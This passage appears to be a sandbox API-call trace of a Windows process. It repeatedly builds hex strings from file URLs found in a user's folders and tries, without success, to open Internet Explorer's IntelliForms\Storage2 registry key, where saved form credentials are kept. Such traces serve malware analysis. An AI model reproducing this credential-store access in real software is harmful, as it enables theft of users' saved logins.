returned="443724D04503ADFD570B658C00" [0077.927] LocalFree (hMem=0x652a10) returned 0x0 [0077.927] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="97") returned 2 [0077.927] lstrlenA (lpString="443724D04503ADFD570B658C00") returned 26 [0077.927] lstrlenA (lpString="97") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652a10 [0077.927] lstrcpyA (in: lpString1=0x652a10, lpString2="443724D04503ADFD570B658C00" | out: lpString1="443724D04503ADFD570B658C00") returned="443724D04503ADFD570B658C00" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD570B658C00", lpString2="97" | out: lpString1="443724D04503ADFD570B658C0097") returned="443724D04503ADFD570B658C0097" [0077.927] LocalFree (hMem=0x652ab8) returned 0x0 [0077.927] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B8") returned 2 [0077.927] lstrlenA (lpString="443724D04503ADFD570B658C0097") returned 28 [0077.927] lstrlenA (lpString="B8") returned 2 [0077.927] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652ab8 [0077.927] lstrcpyA (in: lpString1=0x652ab8, lpString2="443724D04503ADFD570B658C0097" | out: lpString1="443724D04503ADFD570B658C0097") returned="443724D04503ADFD570B658C0097" [0077.927] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097", lpString2="B8" | out: lpString1="443724D04503ADFD570B658C0097B8") returned="443724D04503ADFD570B658C0097B8" [0077.927] LocalFree (hMem=0x652a10) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="20") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B8") returned 30 [0077.928] lstrlenA (lpString="20") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6292f8 [0077.928] lstrcpyA (in: lpString1=0x6292f8, lpString2="443724D04503ADFD570B658C0097B8" | out: lpString1="443724D04503ADFD570B658C0097B8") returned="443724D04503ADFD570B658C0097B8" [0077.928] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B8", lpString2="20" | out: lpString1="443724D04503ADFD570B658C0097B820") returned="443724D04503ADFD570B658C0097B820" [0077.928] LocalFree (hMem=0x652ab8) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A3") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B820") returned 32 [0077.928] lstrlenA (lpString="A3") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6293a8 [0077.928] lstrcpyA (in: lpString1=0x6293a8, lpString2="443724D04503ADFD570B658C0097B820" | out: lpString1="443724D04503ADFD570B658C0097B820") returned="443724D04503ADFD570B658C0097B820" [0077.928] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B820", lpString2="A3" | out: lpString1="443724D04503ADFD570B658C0097B820A3") returned="443724D04503ADFD570B658C0097B820A3" [0077.928] LocalFree (hMem=0x6292f8) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="35") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B820A3") returned 34 [0077.928] lstrlenA (lpString="35") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6292f8 [0077.928] lstrcpyA (in: lpString1=0x6292f8, lpString2="443724D04503ADFD570B658C0097B820A3" | out: lpString1="443724D04503ADFD570B658C0097B820A3") returned="443724D04503ADFD570B658C0097B820A3" [0077.928] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B820A3", lpString2="35" | out: lpString1="443724D04503ADFD570B658C0097B820A335") returned="443724D04503ADFD570B658C0097B820A335" [0077.928] LocalFree (hMem=0x6293a8) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F6") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B820A335") returned 36 [0077.928] lstrlenA (lpString="F6") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6293a8 [0077.928] lstrcpyA (in: lpString1=0x6293a8, lpString2="443724D04503ADFD570B658C0097B820A335" | out: lpString1="443724D04503ADFD570B658C0097B820A335") returned="443724D04503ADFD570B658C0097B820A335" [0077.928] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B820A335", lpString2="F6" | out: lpString1="443724D04503ADFD570B658C0097B820A335F6") returned="443724D04503ADFD570B658C0097B820A335F6" [0077.928] LocalFree (hMem=0x6292f8) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B820A335F6") returned 38 [0077.928] lstrlenA (lpString="E2") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x647668 [0077.928] lstrcpyA (in: lpString1=0x647668, lpString2="443724D04503ADFD570B658C0097B820A335F6" | out: lpString1="443724D04503ADFD570B658C0097B820A335F6") returned="443724D04503ADFD570B658C0097B820A335F6" [0077.928] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B820A335F6", lpString2="E2" | out: lpString1="443724D04503ADFD570B658C0097B820A335F6E2") returned="443724D04503ADFD570B658C0097B820A335F6E2" [0077.928] LocalFree (hMem=0x6293a8) returned 0x0 [0077.928] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D3") returned 2 [0077.928] lstrlenA (lpString="443724D04503ADFD570B658C0097B820A335F6E2") returned 40 [0077.928] lstrlenA (lpString="D3") returned 2 [0077.928] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x6477d8 [0077.928] lstrcpyA (in: lpString1=0x6477d8, lpString2="443724D04503ADFD570B658C0097B820A335F6E2" | out: lpString1="443724D04503ADFD570B658C0097B820A335F6E2") returned="443724D04503ADFD570B658C0097B820A335F6E2" [0077.929] lstrcatA (in: lpString1="443724D04503ADFD570B658C0097B820A335F6E2", lpString2="D3" | out: lpString1="443724D04503ADFD570B658C0097B820A335F6E2D3") returned="443724D04503ADFD570B658C0097B820A335F6E2D3" [0077.929] LocalFree (hMem=0x647668) returned 0x0 [0077.929] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.929] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.929] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.929] LocalFree (hMem=0x6477d8) returned 0x0 [0077.929] CoTaskMemFree (pv=0x652968) [0077.929] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/Lox-Ab7EI0p597qFFy8N.xls", lpSrch="?") returned 0x0 [0077.929] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Documents/RNXXLSlo/Lox-Ab7EI0p597qFFy8N.xls") returned 68 [0077.929] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="52") returned 2 [0077.929] lstrlenA (lpString="") returned 0 [0077.929] lstrlenA (lpString="52") returned 2 [0077.929] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x6557d0 [0077.929] lstrcpyA (in: lpString1=0x6557d0, lpString2="" | out: lpString1="") returned="" [0077.929] lstrcatA (in: lpString1="", lpString2="52" | out: lpString1="52") returned="52" [0077.929] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="E2") returned 2 [0077.929] lstrlenA (lpString="52") returned 2 [0077.929] lstrlenA (lpString="E2") returned 2 [0077.929] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x655860 [0077.929] lstrcpyA (in: lpString1=0x655860, lpString2="52" | out: lpString1="52") returned="52" [0077.929] lstrcatA (in: lpString1="52", lpString2="E2" | out: lpString1="52E2") returned="52E2" [0077.929] LocalFree (hMem=0x6557d0) returned 0x0 [0077.929] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CF") returned 2 [0077.929] lstrlenA (lpString="52E2") returned 4 [0077.929] lstrlenA (lpString="CF") returned 2 [0077.929] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x6557d0 [0077.929] lstrcpyA (in: lpString1=0x6557d0, lpString2="52E2" | out: lpString1="52E2") returned="52E2" [0077.929] lstrcatA (in: lpString1="52E2", lpString2="CF" | out: lpString1="52E2CF") returned="52E2CF" [0077.929] LocalFree (hMem=0x655860) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A6") returned 2 [0077.930] lstrlenA (lpString="52E2CF") returned 6 [0077.930] lstrlenA (lpString="A6") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x655860 [0077.930] lstrcpyA (in: lpString1=0x655860, lpString2="52E2CF" | out: lpString1="52E2CF") returned="52E2CF" [0077.930] lstrcatA (in: lpString1="52E2CF", lpString2="A6" | out: lpString1="52E2CFA6") returned="52E2CFA6" [0077.930] LocalFree (hMem=0x6557d0) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="96") returned 2 [0077.930] lstrlenA (lpString="52E2CFA6") returned 8 [0077.930] lstrlenA (lpString="96") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x6558f8 [0077.930] lstrcpyA (in: lpString1=0x6558f8, lpString2="52E2CFA6" | out: lpString1="52E2CFA6") returned="52E2CFA6" [0077.930] lstrcatA (in: lpString1="52E2CFA6", lpString2="96" | out: lpString1="52E2CFA696") returned="52E2CFA696" [0077.930] LocalFree (hMem=0x655860) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="13") returned 2 [0077.930] lstrlenA (lpString="52E2CFA696") returned 10 [0077.930] lstrlenA (lpString="13") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x6557d0 [0077.930] lstrcpyA (in: lpString1=0x6557d0, lpString2="52E2CFA696" | out: lpString1="52E2CFA696") returned="52E2CFA696" [0077.930] lstrcatA (in: lpString1="52E2CFA696", lpString2="13" | out: lpString1="52E2CFA69613") returned="52E2CFA69613" [0077.930] LocalFree (hMem=0x6558f8) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="D0") returned 2 [0077.930] lstrlenA (lpString="52E2CFA69613") returned 12 [0077.930] lstrlenA (lpString="D0") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x655868 [0077.930] lstrcpyA (in: lpString1=0x655868, lpString2="52E2CFA69613" | out: lpString1="52E2CFA69613") returned="52E2CFA69613" [0077.930] lstrcatA (in: lpString1="52E2CFA69613", lpString2="D0" | out: lpString1="52E2CFA69613D0") returned="52E2CFA69613D0" [0077.930] LocalFree (hMem=0x6557d0) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FA") returned 2 [0077.930] lstrlenA (lpString="52E2CFA69613D0") returned 14 [0077.930] lstrlenA (lpString="FA") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655900 [0077.930] lstrcpyA (in: lpString1=0x655900, lpString2="52E2CFA69613D0" | out: lpString1="52E2CFA69613D0") returned="52E2CFA69613D0" [0077.930] lstrcatA (in: lpString1="52E2CFA69613D0", lpString2="FA" | out: lpString1="52E2CFA69613D0FA") returned="52E2CFA69613D0FA" [0077.930] LocalFree (hMem=0x655868) returned 0x0 [0077.930] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="FF") returned 2 [0077.930] lstrlenA (lpString="52E2CFA69613D0FA") returned 16 [0077.930] lstrlenA (lpString="FF") returned 2 [0077.930] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x6557d0 [0077.931] lstrcpyA (in: lpString1=0x6557d0, lpString2="52E2CFA69613D0FA" | out: lpString1="52E2CFA69613D0FA") returned="52E2CFA69613D0FA" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FA", lpString2="FF" | out: lpString1="52E2CFA69613D0FAFF") returned="52E2CFA69613D0FAFF" [0077.931] LocalFree (hMem=0x655900) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="0B") returned 2 [0077.931] lstrlenA (lpString="52E2CFA69613D0FAFF") returned 18 [0077.931] lstrlenA (lpString="0B") returned 2 [0077.931] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x655870 [0077.931] lstrcpyA (in: lpString1=0x655870, lpString2="52E2CFA69613D0FAFF" | out: lpString1="52E2CFA69613D0FAFF") returned="52E2CFA69613D0FAFF" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FAFF", lpString2="0B" | out: lpString1="52E2CFA69613D0FAFF0B") returned="52E2CFA69613D0FAFF0B" [0077.931] LocalFree (hMem=0x6557d0) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CF") returned 2 [0077.931] lstrlenA (lpString="52E2CFA69613D0FAFF0B") returned 20 [0077.931] lstrlenA (lpString="CF") returned 2 [0077.931] LocalAlloc (uFlags=0x40, uBytes=0x97) returned 0x6557d0 [0077.931] lstrcpyA (in: lpString1=0x6557d0, lpString2="52E2CFA69613D0FAFF0B" | out: lpString1="52E2CFA69613D0FAFF0B") returned="52E2CFA69613D0FAFF0B" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0B", lpString2="CF" | out: lpString1="52E2CFA69613D0FAFF0BCF") returned="52E2CFA69613D0FAFF0BCF" [0077.931] LocalFree (hMem=0x655870) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="04") returned 2 [0077.931] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF") returned 22 [0077.931] lstrlenA (lpString="04") returned 2 [0077.931] LocalAlloc (uFlags=0x40, uBytes=0x99) returned 0x652968 [0077.931] lstrcpyA (in: lpString1=0x652968, lpString2="52E2CFA69613D0FAFF0BCF" | out: lpString1="52E2CFA69613D0FAFF0BCF") returned="52E2CFA69613D0FAFF0BCF" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF", lpString2="04" | out: lpString1="52E2CFA69613D0FAFF0BCF04") returned="52E2CFA69613D0FAFF0BCF04" [0077.931] LocalFree (hMem=0x6557d0) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0077.931] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04") returned 24 [0077.931] lstrlenA (lpString="B1") returned 2 [0077.931] LocalAlloc (uFlags=0x40, uBytes=0x9b) returned 0x652ab8 [0077.931] lstrcpyA (in: lpString1=0x652ab8, lpString2="52E2CFA69613D0FAFF0BCF04" | out: lpString1="52E2CFA69613D0FAFF0BCF04") returned="52E2CFA69613D0FAFF0BCF04" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04", lpString2="B1" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1") returned="52E2CFA69613D0FAFF0BCF04B1" [0077.931] LocalFree (hMem=0x652968) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="BA") returned 2 [0077.931] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1") returned 26 [0077.931] lstrlenA (lpString="BA") returned 2 [0077.931] LocalAlloc (uFlags=0x40, uBytes=0x9d) returned 0x652968 [0077.931] lstrcpyA (in: lpString1=0x652968, lpString2="52E2CFA69613D0FAFF0BCF04B1" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1") returned="52E2CFA69613D0FAFF0BCF04B1" [0077.931] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1", lpString2="BA" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BA") returned="52E2CFA69613D0FAFF0BCF04B1BA" [0077.931] LocalFree (hMem=0x652ab8) returned 0x0 [0077.931] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A9") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BA") returned 28 [0077.932] lstrlenA (lpString="A9") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0x9f) returned 0x652ab8 [0077.932] lstrcpyA (in: lpString1=0x652ab8, lpString2="52E2CFA69613D0FAFF0BCF04B1BA" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BA") returned="52E2CFA69613D0FAFF0BCF04B1BA" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BA", lpString2="A9" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9") returned="52E2CFA69613D0FAFF0BCF04B1BAA9" [0077.932] LocalFree (hMem=0x652968) returned 0x0 [0077.932] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B4") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9") returned 30 [0077.932] lstrlenA (lpString="B4") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0xa1) returned 0x6293a8 [0077.932] lstrcpyA (in: lpString1=0x6293a8, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9") returned="52E2CFA69613D0FAFF0BCF04B1BAA9" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9", lpString2="B4" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B4") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B4" [0077.932] LocalFree (hMem=0x652ab8) returned 0x0 [0077.932] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="43") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9B4") returned 32 [0077.932] lstrlenA (lpString="43") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0xa3) returned 0x6292f8 [0077.932] lstrcpyA (in: lpString1=0x6292f8, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9B4" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B4") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B4" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B4", lpString2="43" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443" [0077.932] LocalFree (hMem=0x6293a8) returned 0x0 [0077.932] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="84") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9B443") returned 34 [0077.932] lstrlenA (lpString="84") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0xa5) returned 0x6293a8 [0077.932] lstrcpyA (in: lpString1=0x6293a8, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9B443" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443", lpString2="84" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B44384") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B44384" [0077.932] LocalFree (hMem=0x6292f8) returned 0x0 [0077.932] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9C") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9B44384") returned 36 [0077.932] lstrlenA (lpString="9C") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0xa7) returned 0x6292f8 [0077.932] lstrcpyA (in: lpString1=0x6292f8, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9B44384" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B44384") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B44384" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B44384", lpString2="9C" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C" [0077.932] LocalFree (hMem=0x6293a8) returned 0x0 [0077.932] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="14") returned 2 [0077.932] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C") returned 38 [0077.932] lstrlenA (lpString="14") returned 2 [0077.932] LocalAlloc (uFlags=0x40, uBytes=0xa9) returned 0x6477d8 [0077.932] lstrcpyA (in: lpString1=0x6477d8, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C" [0077.932] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C", lpString2="14" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14" [0077.933] LocalFree (hMem=0x6292f8) returned 0x0 [0077.933] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="38") returned 2 [0077.933] lstrlenA (lpString="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14") returned 40 [0077.933] lstrlenA (lpString="38") returned 2 [0077.933] LocalAlloc (uFlags=0x40, uBytes=0xab) returned 0x647668 [0077.933] lstrcpyA (in: lpString1=0x647668, lpString2="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14" [0077.933] lstrcatA (in: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C14", lpString2="38" | out: lpString1="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C1438") returned="52E2CFA69613D0FAFF0BCF04B1BAA9B443849C1438" [0077.933] LocalFree (hMem=0x6477d8) returned 0x0 [0077.933] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x12fe04 | out: phkResult=0x12fe04*=0x0) returned 0x2 [0077.933] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20219, phkResult=0x12fdd8 | out: phkResult=0x12fdd8*=0x0) returned 0x2 [0077.933] RegOpenKeyExA (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20119, phkResult=0x12fdac | out: phkResult=0x12fdac*=0x0) returned 0x2 [0077.933] LocalFree (hMem=0x647668) returned 0x0 [0077.933] CoTaskMemFree (pv=0x655738) [0077.933] StrStrIW (lpFirst="file:///C:/Users/EEBsYm5/Videos/D9j5/UbvZZgDlPtLvl.flv", lpSrch="?") returned 0x0 [0077.933] lstrlenW (lpString="file:///C:/Users/EEBsYm5/Videos/D9j5/UbvZZgDlPtLvl.flv") returned 54 [0077.933] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="87") returned 2 [0077.933] lstrlenA (lpString="") returned 0 [0077.933] lstrlenA (lpString="87") returned 2 [0077.933] LocalAlloc (uFlags=0x40, uBytes=0x83) returned 0x655738 [0077.933] lstrcpyA (in: lpString1=0x655738, lpString2="" | out: lpString1="") returned="" [0077.933] lstrcatA (in: lpString1="", lpString2="87" | out: lpString1="87") returned="87" [0077.933] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B1") returned 2 [0077.933] lstrlenA (lpString="87") returned 2 [0077.933] lstrlenA (lpString="B1") returned 2 [0077.933] LocalAlloc (uFlags=0x40, uBytes=0x85) returned 0x6557c8 [0077.933] lstrcpyA (in: lpString1=0x6557c8, lpString2="87" | out: lpString1="87") returned="87" [0077.933] lstrcatA (in: lpString1="87", lpString2="B1" | out: lpString1="87B1") returned="87B1" [0077.933] LocalFree (hMem=0x655738) returned 0x0 [0077.933] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="CF") returned 2 [0077.933] lstrlenA (lpString="87B1") returned 4 [0077.934] lstrlenA (lpString="CF") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x87) returned 0x655738 [0077.934] lstrcpyA (in: lpString1=0x655738, lpString2="87B1" | out: lpString1="87B1") returned="87B1" [0077.934] lstrcatA (in: lpString1="87B1", lpString2="CF" | out: lpString1="87B1CF") returned="87B1CF" [0077.934] LocalFree (hMem=0x6557c8) returned 0x0 [0077.934] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="B9") returned 2 [0077.934] lstrlenA (lpString="87B1CF") returned 6 [0077.934] lstrlenA (lpString="B9") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x89) returned 0x6557c8 [0077.934] lstrcpyA (in: lpString1=0x6557c8, lpString2="87B1CF" | out: lpString1="87B1CF") returned="87B1CF" [0077.934] lstrcatA (in: lpString1="87B1CF", lpString2="B9" | out: lpString1="87B1CFB9") returned="87B1CFB9" [0077.934] LocalFree (hMem=0x655738) returned 0x0 [0077.934] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="45") returned 2 [0077.934] lstrlenA (lpString="87B1CFB9") returned 8 [0077.934] lstrlenA (lpString="45") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x8b) returned 0x655860 [0077.934] lstrcpyA (in: lpString1=0x655860, lpString2="87B1CFB9" | out: lpString1="87B1CFB9") returned="87B1CFB9" [0077.934] lstrcatA (in: lpString1="87B1CFB9", lpString2="45" | out: lpString1="87B1CFB945") returned="87B1CFB945" [0077.934] LocalFree (hMem=0x6557c8) returned 0x0 [0077.934] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="66") returned 2 [0077.934] lstrlenA (lpString="87B1CFB945") returned 10 [0077.934] lstrlenA (lpString="66") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x8d) returned 0x655738 [0077.934] lstrcpyA (in: lpString1=0x655738, lpString2="87B1CFB945" | out: lpString1="87B1CFB945") returned="87B1CFB945" [0077.934] lstrcatA (in: lpString1="87B1CFB945", lpString2="66" | out: lpString1="87B1CFB94566") returned="87B1CFB94566" [0077.934] LocalFree (hMem=0x655860) returned 0x0 [0077.934] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="A8") returned 2 [0077.934] lstrlenA (lpString="87B1CFB94566") returned 12 [0077.934] lstrlenA (lpString="A8") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x8f) returned 0x6557d0 [0077.934] lstrcpyA (in: lpString1=0x6557d0, lpString2="87B1CFB94566" | out: lpString1="87B1CFB94566") returned="87B1CFB94566" [0077.934] lstrcatA (in: lpString1="87B1CFB94566", lpString2="A8" | out: lpString1="87B1CFB94566A8") returned="87B1CFB94566A8" [0077.934] LocalFree (hMem=0x655738) returned 0x0 [0077.934] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="F2") returned 2 [0077.934] lstrlenA (lpString="87B1CFB94566A8") returned 14 [0077.934] lstrlenA (lpString="F2") returned 2 [0077.934] LocalAlloc (uFlags=0x40, uBytes=0x91) returned 0x655868 [0077.934] lstrcpyA (in: lpString1=0x655868, lpString2="87B1CFB94566A8" | out: lpString1="87B1CFB94566A8") returned="87B1CFB94566A8" [0077.934] lstrcatA (in: lpString1="87B1CFB94566A8", lpString2="F2" | out: lpString1="87B1CFB94566A8F2") returned="87B1CFB94566A8F2" [0077.934] LocalFree (hMem=0x6557d0) returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="00") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F2") returned 16 [0077.935] lstrlenA (lpString="00") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x93) returned 0x655738 [0077.935] lstrcpyA (in: lpString1=0x655738, lpString2="87B1CFB94566A8F2" | out: lpString1="87B1CFB94566A8F2") returned="87B1CFB94566A8F2" [0077.935] lstrcatA (in: lpString1="87B1CFB94566A8F2", lpString2="00" | out: lpString1="87B1CFB94566A8F200") returned="87B1CFB94566A8F200" [0077.935] LocalFree (hMem=0x655868) returned 0x0 [0077.935] wsprintfA (in: param_1=0x12fe68, param_2="%02X" | out: param_1="9B") returned 2 [0077.935] lstrlenA (lpString="87B1CFB94566A8F200") returned 18 [0077.935] lstrlenA (lpString="9B") returned 2 [0077.935] LocalAlloc (uFlags=0x40, uBytes=0x95) returned 0x6557d8 [0077.935] lstrcpyA (in: lpString1=0x6557d8, lpString2="87B1CFB94566A8F200" | out: lpString1="87B1CFB94566A8F200") returned="87B1CFB94566A8F200" [0077.935] lstrcatA (in: lpString1="87B1CFB94566A8F200", lpString2="9B" | out: lpString1="87B1CFB94566A8F2009B") returned="87B1CFB94566A8F2009B" [0077.935] LocalFree (hMem=0x655738) 